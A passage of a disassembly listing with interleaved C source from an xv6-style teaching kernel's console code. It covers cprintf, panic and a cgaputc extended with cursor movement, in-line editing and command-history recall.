00 00 call 80105bab <acquire> if (fmt == 0) 801003c1: 8b 45 08 mov 0x8(%ebp),%eax 801003c4: 85 c0 test %eax,%eax 801003c6: 75 0c jne 801003d4 <cprintf+0x33> panic("null fmt"); 801003c8: c7 04 24 da 92 10 80 movl $0x801092da,(%esp) 801003cf: e8 69 01 00 00 call 8010053d <panic> argp = (uint*)(void*)(&fmt + 1); 801003d4: 8d 45 0c lea 0xc(%ebp),%eax 801003d7: 89 45 f0 mov %eax,-0x10(%ebp) for(i = 0; (c = fmt[i] & 0xff) != 0; i++){ 801003da: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 801003e1: e9 20 01 00 00 jmp 80100506 <cprintf+0x165> if(c != '%'){ 801003e6: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp) 801003ea: 74 10 je 801003fc <cprintf+0x5b> consputc(c); 801003ec: 8b 45 e4 mov -0x1c(%ebp),%eax 801003ef: 89 04 24 mov %eax,(%esp) 801003f2: e8 cb 06 00 00 call 80100ac2 <consputc> continue; 801003f7: e9 06 01 00 00 jmp 80100502 <cprintf+0x161> } c = fmt[++i] & 0xff; 801003fc: 8b 55 08 mov 0x8(%ebp),%edx 801003ff: 83 45 f4 01 addl $0x1,-0xc(%ebp) 80100403: 8b 45 f4 mov -0xc(%ebp),%eax 80100406: 01 d0 add %edx,%eax 80100408: 0f b6 00 movzbl (%eax),%eax 8010040b: 0f be c0 movsbl %al,%eax 8010040e: 25 ff 00 00 00 and $0xff,%eax 80100413: 89 45 e4 mov %eax,-0x1c(%ebp) if(c == 0) 80100416: 83 7d e4 00 cmpl $0x0,-0x1c(%ebp) 8010041a: 0f 84 08 01 00 00 je 80100528 <cprintf+0x187> break; switch(c){ 80100420: 8b 45 e4 mov -0x1c(%ebp),%eax 80100423: 83 f8 70 cmp $0x70,%eax 80100426: 74 4d je 80100475 <cprintf+0xd4> 80100428: 83 f8 70 cmp $0x70,%eax 8010042b: 7f 13 jg 80100440 <cprintf+0x9f> 8010042d: 83 f8 25 cmp $0x25,%eax 80100430: 0f 84 a6 00 00 00 je 801004dc <cprintf+0x13b> 80100436: 83 f8 64 cmp $0x64,%eax 80100439: 74 14 je 8010044f <cprintf+0xae> 8010043b: e9 aa 00 00 00 jmp 801004ea <cprintf+0x149> 80100440: 83 f8 73 cmp $0x73,%eax 80100443: 74 53 je 80100498 <cprintf+0xf7> 80100445: 83 f8 78 cmp $0x78,%eax 80100448: 74 2b je 80100475 <cprintf+0xd4> 8010044a: e9 9b 00 00 00 jmp 801004ea <cprintf+0x149> case 'd': printint(*argp++, 10, 1); 8010044f: 8b 45 f0 mov -0x10(%ebp),%eax 80100452: 8b 00 mov (%eax),%eax 80100454: 83 45 f0 04 addl $0x4,-0x10(%ebp) 80100458: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 8010045f: 00 80100460: c7 44 24 04 0a 00 00 movl $0xa,0x4(%esp) 80100467: 00 80100468: 89 04 24 mov %eax,(%esp) 8010046b: e8 8e fe ff ff call 801002fe <printint> break; 80100470: e9 8d 00 00 00 jmp 80100502 <cprintf+0x161> case 'x': case 'p': printint(*argp++, 16, 0); 80100475: 8b 45 f0 mov -0x10(%ebp),%eax 80100478: 8b 00 mov (%eax),%eax 8010047a: 83 45 f0 04 addl $0x4,-0x10(%ebp) 8010047e: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp) 80100485: 00 80100486: c7 44 24 04 10 00 00 movl $0x10,0x4(%esp) 8010048d: 00 8010048e: 89 04 24 mov %eax,(%esp) 80100491: e8 68 fe ff ff call 801002fe <printint> break; 80100496: eb 6a jmp 80100502 <cprintf+0x161> case 's': if((s = (char*)*argp++) == 0) 80100498: 8b 45 f0 mov -0x10(%ebp),%eax 8010049b: 8b 00 mov (%eax),%eax 8010049d: 89 45 ec mov %eax,-0x14(%ebp) 801004a0: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 801004a4: 0f 94 c0 sete %al 801004a7: 83 45 f0 04 addl $0x4,-0x10(%ebp) 801004ab: 84 c0 test %al,%al 801004ad: 74 20 je 801004cf <cprintf+0x12e> s = "(null)"; 801004af: c7 45 ec e3 92 10 80 movl $0x801092e3,-0x14(%ebp) for(; *s; s++) 801004b6: eb 17 jmp 801004cf <cprintf+0x12e> consputc(*s); 801004b8: 8b 45 ec mov -0x14(%ebp),%eax 801004bb: 0f b6 00 movzbl (%eax),%eax 801004be: 0f be c0 movsbl %al,%eax 801004c1: 89 04 24 mov %eax,(%esp) 801004c4: e8 f9 05 00 00 call 80100ac2 <consputc> printint(*argp++, 16, 0); break; case 's': if((s = (char*)*argp++) == 0) s = "(null)"; for(; *s; s++) 801004c9: 83 45 ec 01 addl $0x1,-0x14(%ebp) 801004cd: eb 01 jmp 801004d0 <cprintf+0x12f> 801004cf: 90 nop 801004d0: 8b 45 ec mov -0x14(%ebp),%eax 801004d3: 0f b6 00 movzbl (%eax),%eax 801004d6: 84 c0 test %al,%al 801004d8: 75 de jne 801004b8 <cprintf+0x117> consputc(*s); break; 801004da: eb 26 jmp 80100502 <cprintf+0x161> case '%': consputc('%'); 801004dc: c7 04 24 25 00 00 00 movl $0x25,(%esp) 801004e3: e8 da 05 00 00 call 80100ac2 <consputc> break; 801004e8: eb 18 jmp 80100502 <cprintf+0x161> default: // Print unknown % sequence to draw attention. consputc('%'); 801004ea: c7 04 24 25 00 00 00 movl $0x25,(%esp) 801004f1: e8 cc 05 00 00 call 80100ac2 <consputc> consputc(c); 801004f6: 8b 45 e4 mov -0x1c(%ebp),%eax 801004f9: 89 04 24 mov %eax,(%esp) 801004fc: e8 c1 05 00 00 call 80100ac2 <consputc> break; 80100501: 90 nop if (fmt == 0) panic("null fmt"); argp = (uint*)(void*)(&fmt + 1); for(i = 0; (c = fmt[i] & 0xff) != 0; i++){ 80100502: 83 45 f4 01 addl $0x1,-0xc(%ebp) 80100506: 8b 55 08 mov 0x8(%ebp),%edx 80100509: 8b 45 f4 mov -0xc(%ebp),%eax 8010050c: 01 d0 add %edx,%eax 8010050e: 0f b6 00 movzbl (%eax),%eax 80100511: 0f be c0 movsbl %al,%eax 80100514: 25 ff 00 00 00 and $0xff,%eax 80100519: 89 45 e4 mov %eax,-0x1c(%ebp) 8010051c: 83 7d e4 00 cmpl $0x0,-0x1c(%ebp) 80100520: 0f 85 c0 fe ff ff jne 801003e6 <cprintf+0x45> 80100526: eb 01 jmp 80100529 <cprintf+0x188> consputc(c); continue; } c = fmt[++i] & 0xff; if(c == 0) break; 80100528: 90 nop consputc(c); break; } } if(locking) 80100529: 83 7d e8 00 cmpl $0x0,-0x18(%ebp) 8010052d: 74 0c je 8010053b <cprintf+0x19a> release(&cons.lock); 8010052f: c7 04 24 e0 c5 10 80 movl $0x8010c5e0,(%esp) 80100536: e8 d2 56 00 00 call 80105c0d <release> } 8010053b: c9 leave 8010053c: c3 ret 8010053d <panic>: void panic(char *s) { 8010053d: 55 push %ebp 8010053e: 89 e5 mov %esp,%ebp 80100540: 83 ec 48 sub $0x48,%esp int i; uint pcs[10]; cli(); 80100543: e8 b0 fd ff ff call 801002f8 <cli> cons.locking = 0; 80100548: c7 05 14 c6 10 80 00 movl $0x0,0x8010c614 8010054f: 00 00 00 cprintf("cpu%d: panic: ", cpu->id); 80100552: 65 a1 00 00 00 00 mov %gs:0x0,%eax 80100558: 0f b6 00 movzbl (%eax),%eax 8010055b: 0f b6 c0 movzbl %al,%eax 8010055e: 89 44 24 04 mov %eax,0x4(%esp) 80100562: c7 04 24 ea 92 10 80 movl $0x801092ea,(%esp) 80100569: e8 33 fe ff ff call 801003a1 <cprintf> cprintf(s); 8010056e: 8b 45 08 mov 0x8(%ebp),%eax 80100571: 89 04 24 mov %eax,(%esp) 80100574: e8 28 fe ff ff call 801003a1 <cprintf> cprintf("\n"); 80100579: c7 04 24 f9 92 10 80 movl $0x801092f9,(%esp) 80100580: e8 1c fe ff ff call 801003a1 <cprintf> getcallerpcs(&s, pcs); 80100585: 8d 45 cc lea -0x34(%ebp),%eax 80100588: 89 44 24 04 mov %eax,0x4(%esp) 8010058c: 8d 45 08 lea 0x8(%ebp),%eax 8010058f: 89 04 24 mov %eax,(%esp) 80100592: e8 c5 56 00 00 call 80105c5c <getcallerpcs> for(i=0; i<10; i++) 80100597: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 8010059e: eb 1b jmp 801005bb <panic+0x7e> cprintf(" %p", pcs[i]); 801005a0: 8b 45 f4 mov -0xc(%ebp),%eax 801005a3: 8b 44 85 cc mov -0x34(%ebp,%eax,4),%eax 801005a7: 89 44 24 04 mov %eax,0x4(%esp) 801005ab: c7 04 24 fb 92 10 80 movl $0x801092fb,(%esp) 801005b2: e8 ea fd ff ff call 801003a1 <cprintf> cons.locking = 0; cprintf("cpu%d: panic: ", cpu->id); cprintf(s); cprintf("\n"); getcallerpcs(&s, pcs); for(i=0; i<10; i++) 801005b7: 83 45 f4 01 addl $0x1,-0xc(%ebp) 801005bb: 83 7d f4 09 cmpl $0x9,-0xc(%ebp) 801005bf: 7e df jle 801005a0 <panic+0x63> cprintf(" %p", pcs[i]); panicked = 1; // freeze other CPU 801005c1: c7 05 cc c5 10 80 01 movl $0x1,0x8010c5cc 801005c8: 00 00 00 for(;;) ; 801005cb: eb fe jmp 801005cb <panic+0x8e> 801005cd <modThatDealsWithNegatives>: static int tmpPos = 0; static ushort *crt = (ushort*)P2V(0xb8000); // CGA memory int modThatDealsWithNegatives(int num1, int num2){ 801005cd: 55 push %ebp 801005ce: 89 e5 mov %esp,%ebp 801005d0: 83 ec 10 sub $0x10,%esp int r = num1 % num2; 801005d3: 8b 45 08 mov 0x8(%ebp),%eax 801005d6: 89 c2 mov %eax,%edx 801005d8: c1 fa 1f sar $0x1f,%edx 801005db: f7 7d 0c idivl 0xc(%ebp) 801005de: 89 55 fc mov %edx,-0x4(%ebp) if(r<0) 801005e1: 83 7d fc 00 cmpl $0x0,-0x4(%ebp) 801005e5: 79 0a jns 801005f1 <modThatDealsWithNegatives+0x24> return r+num2; 801005e7: 8b 45 0c mov 0xc(%ebp),%eax 801005ea: 8b 55 fc mov -0x4(%ebp),%edx 801005ed: 01 d0 add %edx,%eax 801005ef: eb 03 jmp 801005f4 <modThatDealsWithNegatives+0x27> else return r; 801005f1: 8b 45 fc mov -0x4(%ebp),%eax } 801005f4: c9 leave 801005f5: c3 ret 801005f6 <cgaputc>: static void cgaputc(int c) { 801005f6: 55 push %ebp 801005f7: 89 e5 mov %esp,%ebp 801005f9: 53 push %ebx 801005fa: 83 ec 44 sub $0x44,%esp int pos; // Cursor position: col + 80*row. outb(CRTPORT, 14); 801005fd: c7 44 24 04 0e 00 00 movl $0xe,0x4(%esp) 80100604: 00 80100605: c7 04 24 d4 03 00 00 movl $0x3d4,(%esp) 8010060c: e8 c9 fc ff ff call 801002da <outb> pos = inb(CRTPORT+1) << 8; 80100611: c7 04 24 d5 03 00 00 movl $0x3d5,(%esp) 80100618: e8 93 fc ff ff call 801002b0 <inb> 8010061d: 0f b6 c0 movzbl %al,%eax 80100620: c1 e0 08 shl $0x8,%eax 80100623: 89 45 f4 mov %eax,-0xc(%ebp) outb(CRTPORT, 15); 80100626: c7 44 24 04 0f 00 00 movl $0xf,0x4(%esp) 8010062d: 00 8010062e: c7 04 24 d4 03 00 00 movl $0x3d4,(%esp) 80100635: e8 a0 fc ff ff call 801002da <outb> pos |= inb(CRTPORT+1); 8010063a: c7 04 24 d5 03 00 00 movl $0x3d5,(%esp) 80100641: e8 6a fc ff ff call 801002b0 <inb> 80100646: 0f b6 c0 movzbl %al,%eax 80100649: 09 45 f4 or %eax,-0xc(%ebp) if(c == '\n'){ 8010064c: 8b 45 08 mov 0x8(%ebp),%eax 8010064f: 83 f8 0a cmp $0xa,%eax 80100652: 75 3d jne 80100691 <cgaputc+0x9b> pos += 80 - pos%80; 80100654: 8b 4d f4 mov -0xc(%ebp),%ecx 80100657: ba 67 66 66 66 mov $0x66666667,%edx 8010065c: 89 c8 mov %ecx,%eax 8010065e: f7 ea imul %edx 80100660: c1 fa 05 sar $0x5,%edx 80100663: 89 c8 mov %ecx,%eax 80100665: c1 f8 1f sar $0x1f,%eax 80100668: 29 c2 sub %eax,%edx 8010066a: 89 d0 mov %edx,%eax 8010066c: c1 e0 02 shl $0x2,%eax 8010066f: 01 d0 add %edx,%eax 80100671: c1 e0 04 shl $0x4,%eax 80100674: 89 ca mov %ecx,%edx 80100676: 29 c2 sub %eax,%edx 80100678: b8 50 00 00 00 mov $0x50,%eax 8010067d: 29 d0 sub %edx,%eax 8010067f: 01 45 f4 add %eax,-0xc(%ebp) tmpPos = 0; // tmpPos means the offset to the right, means how many you need to go right to get to the end 80100682: c7 05 18 c6 10 80 00 movl $0x0,0x8010c618 80100689: 00 00 00 8010068c: e9 2e 03 00 00 jmp 801009bf <cgaputc+0x3c9> } else if(c == BACKSPACE){ 80100691: 8b 45 08 mov 0x8(%ebp),%eax 80100694: 3d 00 01 00 00 cmp $0x100,%eax 80100699: 75 7a jne 80100715 <cgaputc+0x11f> if(pos > 0) { 8010069b: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 8010069f: 0f 8e 1a 03 00 00 jle 801009bf <cgaputc+0x3c9> --pos; 801006a5: 83 6d f4 01 subl $0x1,-0xc(%ebp) int startingPos = pos; 801006a9: 8b 45 f4 mov -0xc(%ebp),%eax 801006ac: 89 45 f0 mov %eax,-0x10(%ebp) int i; for (i = 0 ; i < tmpPos ; i++){ 801006af: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) 801006b6: eb 37 jmp 801006ef <cgaputc+0xf9> memmove(crt+startingPos, crt+startingPos+1, 1); // take the rest of the line on the right 1 place to the left 801006b8: a1 00 a0 10 80 mov 0x8010a000,%eax 801006bd: 8b 55 f0 mov -0x10(%ebp),%edx 801006c0: 83 c2 01 add $0x1,%edx 801006c3: 01 d2 add %edx,%edx 801006c5: 01 c2 add %eax,%edx 801006c7: a1 00 a0 10 80 mov 0x8010a000,%eax 801006cc: 8b 4d f0 mov -0x10(%ebp),%ecx 801006cf: 01 c9 add %ecx,%ecx 801006d1: 01 c8 add %ecx,%eax 801006d3: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 801006da: 00 801006db: 89 54 24 04 mov %edx,0x4(%esp) 801006df: 89 04 24 mov %eax,(%esp) 801006e2: e8 e6 57 00 00 call 80105ecd <memmove> startingPos++; 801006e7: 83 45 f0 01 addl $0x1,-0x10(%ebp) else if(c == BACKSPACE){ if(pos > 0) { --pos; int startingPos = pos; int i; for (i = 0 ; i < tmpPos ; i++){ 801006eb: 83 45 ec 01 addl $0x1,-0x14(%ebp) 801006ef: a1 18 c6 10 80 mov 0x8010c618,%eax 801006f4: 39 45 ec cmp %eax,-0x14(%ebp) 801006f7: 7c bf jl 801006b8 <cgaputc+0xc2> memmove(crt+startingPos, crt+startingPos+1, 1); // take the rest of the line on the right 1 place to the left startingPos++; } crt[pos+tmpPos] = ' ' | 0x0700; // the last place which held the last char should now be blank 801006f9: 8b 15 00 a0 10 80 mov 0x8010a000,%edx 801006ff: a1 18 c6 10 80 mov 0x8010c618,%eax 80100704: 03 45 f4 add -0xc(%ebp),%eax 80100707: 01 c0 add %eax,%eax 80100709: 01 d0 add %edx,%eax 8010070b: 66 c7 00 20 07 movw $0x720,(%eax) 80100710: e9 aa 02 00 00 jmp 801009bf <cgaputc+0x3c9> } } else if (c == KEY_LF) { 80100715: 8b 45 08 mov 0x8(%ebp),%eax 80100718: 3d e4 00 00 00 cmp $0xe4,%eax 8010071d: 75 20 jne 8010073f <cgaputc+0x149> if (pos > 0) { 8010071f: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 80100723: 0f 8e 96 02 00 00 jle 801009bf <cgaputc+0x3c9> --pos; 80100729: 83 6d f4 01 subl $0x1,-0xc(%ebp) tmpPos++; // counter for how left are we from the last char in the line 8010072d: a1 18 c6 10 80 mov 0x8010c618,%eax 80100732: 83 c0 01 add $0x1,%eax 80100735: a3 18 c6 10 80 mov %eax,0x8010c618 8010073a: e9 80 02 00 00 jmp 801009bf <cgaputc+0x3c9> } } else if (c == KEY_RT) { 8010073f: 8b 45 08 mov 0x8(%ebp),%eax 80100742: 3d e5 00 00 00 cmp $0xe5,%eax 80100747: 75 23 jne 8010076c <cgaputc+0x176> if (tmpPos > 0) { 80100749: a1 18 c6 10 80 mov 0x8010c618,%eax 8010074e: 85 c0 test %eax,%eax 80100750: 0f 8e 69 02 00 00 jle 801009bf <cgaputc+0x3c9> ++pos; 80100756: 83 45 f4 01 addl $0x1,-0xc(%ebp) tmpPos--; // counter for how left are we from the last char in the line 8010075a: a1 18 c6 10 80 mov 0x8010c618,%eax 8010075f: 83 e8 01 sub $0x1,%eax 80100762: a3 18 c6 10 80 mov %eax,0x8010c618 80100767: e9 53 02 00 00 jmp 801009bf <cgaputc+0x3c9> } } else if(c == KEY_UP) { // take the historyCommand of calculated current index and copy it to crt, command not executed gets deleted once pressing up 8010076c: 8b 45 08 mov 0x8(%ebp),%eax 8010076f: 3d e2 00 00 00 cmp $0xe2,%eax 80100774: 0f 85 cd 00 00 00 jne 80100847 <cgaputc+0x251> int historyIndex = modThatDealsWithNegatives((commandExecuted - currentHistoryPos), MAX_HISTORY); 8010077a: 8b 15 c0 c5 10 80 mov 0x8010c5c0,%edx 80100780: a1 c8 c5 10 80 mov 0x8010c5c8,%eax 80100785: 89 d1 mov %edx,%ecx 80100787: 29 c1 sub %eax,%ecx 80100789: 89 c8 mov %ecx,%eax 8010078b: c7 44 24 04 10 00 00 movl $0x10,0x4(%esp) 80100792: 00 80100793: 89 04 24 mov %eax,(%esp) 80100796: e8 32 fe ff ff call 801005cd <modThatDealsWithNegatives> 8010079b: 89 45 d8 mov %eax,-0x28(%ebp) int i; for (i = 0; i < strlen(historyArray[historyIndex])-1 ; i++) { 8010079e: c7 45 e8 00 00 00 00 movl $0x0,-0x18(%ebp) 801007a5: eb 5b jmp 80100802 <cgaputc+0x20c> c = historyArray[historyIndex][i]; 801007a7: 8b 45 d8 mov -0x28(%ebp),%eax 801007aa: c1 e0 07 shl $0x7,%eax 801007ad: 03 45 e8 add -0x18(%ebp),%eax 801007b0: 05 60 18 11 80 add $0x80111860,%eax 801007b5: 0f b6 00 movzbl (%eax),%eax 801007b8: 0f be c0 movsbl %al,%eax 801007bb: 89 45 08 mov %eax,0x8(%ebp) memmove(crt+pos, &c, 1); 801007be: a1 00 a0 10 80 mov 0x8010a000,%eax 801007c3: 8b 55 f4 mov -0xc(%ebp),%edx 801007c6: 01 d2 add %edx,%edx 801007c8: 01 d0 add %edx,%eax 801007ca: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 801007d1: 00 801007d2: 8d 55 08 lea 0x8(%ebp),%edx 801007d5: 89 54 24 04 mov %edx,0x4(%esp) 801007d9: 89 04 24 mov %eax,(%esp) 801007dc: e8 ec 56 00 00 call 80105ecd <memmove> crt[pos++] = (c&0xff) | 0x0700; // black on white 801007e1: a1 00 a0 10 80 mov 0x8010a000,%eax 801007e6: 8b 55 f4 mov -0xc(%ebp),%edx 801007e9: 01 d2 add %edx,%edx 801007eb: 01 c2 add %eax,%edx 801007ed: 8b 45 08 mov 0x8(%ebp),%eax 801007f0: 66 25 ff 00 and $0xff,%ax 801007f4: 80 cc 07 or $0x7,%ah 801007f7: 66 89 02 mov %ax,(%edx) 801007fa: 83 45 f4 01 addl $0x1,-0xc(%ebp) } } else if(c == KEY_UP) { // take the historyCommand of calculated current index and copy it to crt, command not executed gets deleted once pressing up int historyIndex = modThatDealsWithNegatives((commandExecuted - currentHistoryPos), MAX_HISTORY); int i; for (i = 0; i < strlen(historyArray[historyIndex])-1 ; i++) { 801007fe: 83 45 e8 01 addl $0x1,-0x18(%ebp) 80100802: 8b 45 d8 mov -0x28(%ebp),%eax 80100805: c1 e0 07 shl $0x7,%eax 80100808: 05 60 18 11 80 add $0x80111860,%eax 8010080d: 89 04 24 mov %eax,(%esp) 80100810: e8 63 58 00 00 call 80106078 <strlen> 80100815: 83 e8 01 sub $0x1,%eax 80100818: 3b 45 e8 cmp -0x18(%ebp),%eax 8010081b: 7f 8a jg 801007a7 <cgaputc+0x1b1> c = historyArray[historyIndex][i]; memmove(crt+pos, &c, 1); crt[pos++] = (c&0xff) | 0x0700; // black on white } crt[pos+strlen(historyArray[historyIndex])] = ' ' | 0x0700; 8010081d: 8b 1d 00 a0 10 80 mov 0x8010a000,%ebx 80100823: 8b 45 d8 mov -0x28(%ebp),%eax 80100826: c1 e0 07 shl $0x7,%eax 80100829: 05 60 18 11 80 add $0x80111860,%eax 8010082e: 89 04 24 mov %eax,(%esp) 80100831: e8 42 58 00 00 call 80106078 <strlen> 80100836: 03 45 f4 add -0xc(%ebp),%eax 80100839: 01 c0 add %eax,%eax 8010083b: 01 d8 add %ebx,%eax 8010083d: 66 c7 00 20 07 movw $0x720,(%eax) 80100842: e9 78 01 00 00 jmp 801009bf <cgaputc+0x3c9> } else if(c == KEY_DN) { 80100847: 8b 45 08 mov 0x8(%ebp),%eax 8010084a: 3d e3 00 00 00 cmp $0xe3,%eax 8010084f: 0f 85 cd 00 00 00 jne 80100922 <cgaputc+0x32c> int historyIndex = modThatDealsWithNegatives((commandExecuted - currentHistoryPos), MAX_HISTORY); 80100855: 8b 15 c0 c5 10 80 mov 0x8010c5c0,%edx 8010085b: a1 c8 c5 10 80 mov 0x8010c5c8,%eax 80100860: 89 d1 mov %edx,%ecx 80100862: 29 c1 sub %eax,%ecx 80100864: 89 c8 mov %ecx,%eax 80100866: c7 44 24 04 10 00 00 movl $0x10,0x4(%esp) 8010086d: 00 8010086e: 89 04 24 mov %eax,(%esp) 80100871: e8 57 fd ff ff call 801005cd <modThatDealsWithNegatives> 80100876: 89 45 d4 mov %eax,-0x2c(%ebp) int i2; for (i2 = 0; i2 < strlen(historyArray[historyIndex])-1 ; i2++) { 80100879: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp) 80100880: eb 5b jmp 801008dd <cgaputc+0x2e7> c = historyArray[historyIndex][i2]; 80100882: 8b 45 d4 mov -0x2c(%ebp),%eax 80100885: c1 e0 07 shl $0x7,%eax 80100888: 03 45 e4 add -0x1c(%ebp),%eax 8010088b: 05 60 18 11 80 add $0x80111860,%eax 80100890: 0f b6 00 movzbl (%eax),%eax 80100893: 0f be c0 movsbl %al,%eax 80100896: 89 45 08 mov %eax,0x8(%ebp) memmove(crt+pos, &c, 1); 80100899: a1 00 a0 10 80 mov 0x8010a000,%eax 8010089e: 8b 55 f4 mov -0xc(%ebp),%edx 801008a1: 01 d2 add %edx,%edx 801008a3: 01 d0 add %edx,%eax 801008a5: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 801008ac: 00 801008ad: 8d 55 08 lea 0x8(%ebp),%edx 801008b0: 89 54 24 04 mov %edx,0x4(%esp) 801008b4: 89 04 24 mov %eax,(%esp) 801008b7: e8 11 56 00 00 call 80105ecd <memmove> crt[pos++] = (c&0xff) | 0x0700; 801008bc: a1 00 a0 10 80 mov 0x8010a000,%eax 801008c1: 8b 55 f4 mov -0xc(%ebp),%edx 801008c4: 01 d2 add %edx,%edx 801008c6: 01 c2 add %eax,%edx 801008c8: 8b 45 08 mov 0x8(%ebp),%eax 801008cb: 66 25 ff 00 and $0xff,%ax 801008cf: 80 cc 07 or $0x7,%ah 801008d2: 66 89 02 mov %ax,(%edx) 801008d5: 83 45 f4 01 addl $0x1,-0xc(%ebp) } else if(c == KEY_DN) { int historyIndex = modThatDealsWithNegatives((commandExecuted - currentHistoryPos), MAX_HISTORY); int i2; for (i2 = 0; i2 < strlen(historyArray[historyIndex])-1 ; i2++) { 801008d9: 83 45 e4 01 addl $0x1,-0x1c(%ebp) 801008dd: 8b 45 d4 mov -0x2c(%ebp),%eax 801008e0: c1 e0 07 shl $0x7,%eax 801008e3: 05 60 18 11 80 add $0x80111860,%eax 801008e8: 89 04 24 mov %eax,(%esp) 801008eb: e8 88 57 00 00 call 80106078 <strlen> 801008f0: 83 e8 01 sub $0x1,%eax 801008f3: 3b 45 e4 cmp -0x1c(%ebp),%eax 801008f6: 7f 8a jg 80100882 <cgaputc+0x28c> c = historyArray[historyIndex][i2]; memmove(crt+pos, &c, 1); crt[pos++] = (c&0xff) | 0x0700; } crt[pos+strlen(historyArray[historyIndex])] = ' ' | 0x0700; 801008f8: 8b 1d 00 a0 10 80 mov 0x8010a000,%ebx 801008fe: 8b 45 d4 mov -0x2c(%ebp),%eax 80100901: c1 e0 07 shl $0x7,%eax 80100904: 05 60 18 11 80 add $0x80111860,%eax 80100909: 89 04 24 mov %eax,(%esp) 8010090c: e8 67 57 00 00 call 80106078 <strlen> 80100911: 03 45 f4 add -0xc(%ebp),%eax 80100914: 01 c0 add %eax,%eax 80100916: 01 d8 add %ebx,%eax 80100918: 66 c7 00 20 07 movw $0x720,(%eax) 8010091d: e9 9d 00 00 00 jmp 801009bf <cgaputc+0x3c9> } else if ( !tmpPos ) { // if we are at the end of the line, just write c to crt (tmpPos = 0 => the most right, !tmpPos=1 means we can write regular) 80100922: a1 18 c6 10 80 mov 0x8010c618,%eax 80100927: 85 c0 test %eax,%eax 80100929: 75 1f jne 8010094a <cgaputc+0x354> crt[pos++] = (c&0xff) | 0x0700; 8010092b: a1 00 a0 10 80 mov 0x8010a000,%eax 80100930: 8b 55 f4 mov -0xc(%ebp),%edx 80100933: 01 d2 add %edx,%edx 80100935: 01 c2 add %eax,%edx 80100937: 8b 45 08 mov 0x8(%ebp),%eax 8010093a: 66 25 ff 00 and $0xff,%ax 8010093e: 80 cc 07 or $0x7,%ah 80100941: 66 89 02 mov %ax,(%edx) 80100944: 83 45 f4 01 addl $0x1,-0xc(%ebp) 80100948: eb 75 jmp 801009bf <cgaputc+0x3c9> } else { // if we're typing in the middle of the command, we shift the remaining right sentene from tmpPos to the right and write c int endPos = pos + tmpPos -1; // go to the end of the line 8010094a: a1 18 c6 10 80 mov 0x8010c618,%eax 8010094f: 03 45 f4 add -0xc(%ebp),%eax 80100952: 83 e8 01 sub $0x1,%eax 80100955: 89 45 e0 mov %eax,-0x20(%ebp) int i; for (i = 0; i < tmpPos ; i++) { 80100958: c7 45 dc 00 00 00 00 movl $0x0,-0x24(%ebp) 8010095f: eb 37 jmp 80100998 <cgaputc+0x3a2> memmove(crt+endPos+1, crt+endPos, 1); // go backwards and copy forward in the process 80100961: a1 00 a0 10 80 mov 0x8010a000,%eax 80100966: 8b 55 e0 mov -0x20(%ebp),%edx 80100969: 01 d2 add %edx,%edx 8010096b: 01 c2 add %eax,%edx 8010096d: a1 00 a0 10 80 mov 0x8010a000,%eax 80100972: 8b 4d e0 mov -0x20(%ebp),%ecx 80100975: 83 c1 01 add $0x1,%ecx 80100978: 01 c9 add %ecx,%ecx 8010097a: 01 c8 add %ecx,%eax 8010097c: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 80100983: 00 80100984: 89 54 24 04 mov %edx,0x4(%esp) 80100988: 89 04 24 mov %eax,(%esp) 8010098b: e8 3d 55 00 00 call 80105ecd <memmove> endPos--; 80100990: 83 6d e0 01 subl $0x1,-0x20(%ebp) crt[pos++] = (c&0xff) | 0x0700; } else { // if we're typing in the middle of the command, we shift the remaining right sentene from tmpPos to the right and write c int endPos = pos + tmpPos -1; // go to the end of the line int i; for (i = 0; i < tmpPos ; i++) { 80100994: 83 45 dc 01 addl $0x1,-0x24(%ebp) 80100998: a1 18 c6 10 80 mov 0x8010c618,%eax 8010099d: 39 45 dc cmp %eax,-0x24(%ebp) 801009a0: 7c bf jl 80100961 <cgaputc+0x36b> memmove(crt+endPos+1, crt+endPos, 1); // go backwards and copy forward in the process endPos--; } crt[pos++] = (c&0xff) | 0x0700; 801009a2: a1 00 a0 10 80 mov 0x8010a000,%eax 801009a7: 8b 55 f4 mov -0xc(%ebp),%edx 801009aa: 01 d2 add %edx,%edx 801009ac: 01 c2 add %eax,%edx 801009ae: 8b 45 08 mov 0x8(%ebp),%eax 801009b1: 66 25 ff 00 and $0xff,%ax 801009b5: 80 cc 07 or $0x7,%ah 801009b8: 66 89 02 mov %ax,(%edx) 801009bb: 83 45 f4 01 addl $0x1,-0xc(%ebp) } if((pos/80) >= 24){ // Scroll up. 801009bf: 81 7d f4 7f 07 00 00 cmpl $0x77f,-0xc(%ebp) 801009c6: 7e 53 jle 80100a1b <cgaputc+0x425> memmove(crt, crt+80, sizeof(crt[0])*23*80); 801009c8: a1 00 a0 10 80 mov 0x8010a000,%eax 801009cd: 8d 90 a0 00 00 00 lea 0xa0(%eax),%edx 801009d3: a1 00 a0 10 80 mov 0x8010a000,%eax 801009d8: c7 44 24 08 60 0e 00 movl $0xe60,0x8(%esp) 801009df: 00 801009e0: 89 54 24 04 mov %edx,0x4(%esp) 801009e4: 89 04 24 mov %eax,(%esp) 801009e7: e8 e1 54 00 00 call 80105ecd <memmove> pos -= 80; 801009ec: 83 6d f4 50 subl $0x50,-0xc(%ebp) memset(crt+pos, 0, sizeof(crt[0])*(24*80 - pos)); 801009f0: b8 80 07 00 00 mov $0x780,%eax 801009f5: 2b 45 f4 sub -0xc(%ebp),%eax 801009f8: 01 c0 add %eax,%eax 801009fa: 8b 15 00 a0 10 80 mov 0x8010a000,%edx 80100a00: 8b 4d f4 mov -0xc(%ebp),%ecx 80100a03: 01 c9 add %ecx,%ecx 80100a05: 01 ca add %ecx,%edx 80100a07: 89 44 24 08 mov %eax,0x8(%esp) 80100a0b: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80100a12: 00 80100a13: 89 14 24 mov %edx,(%esp) 80100a16: e8 df 53 00 00 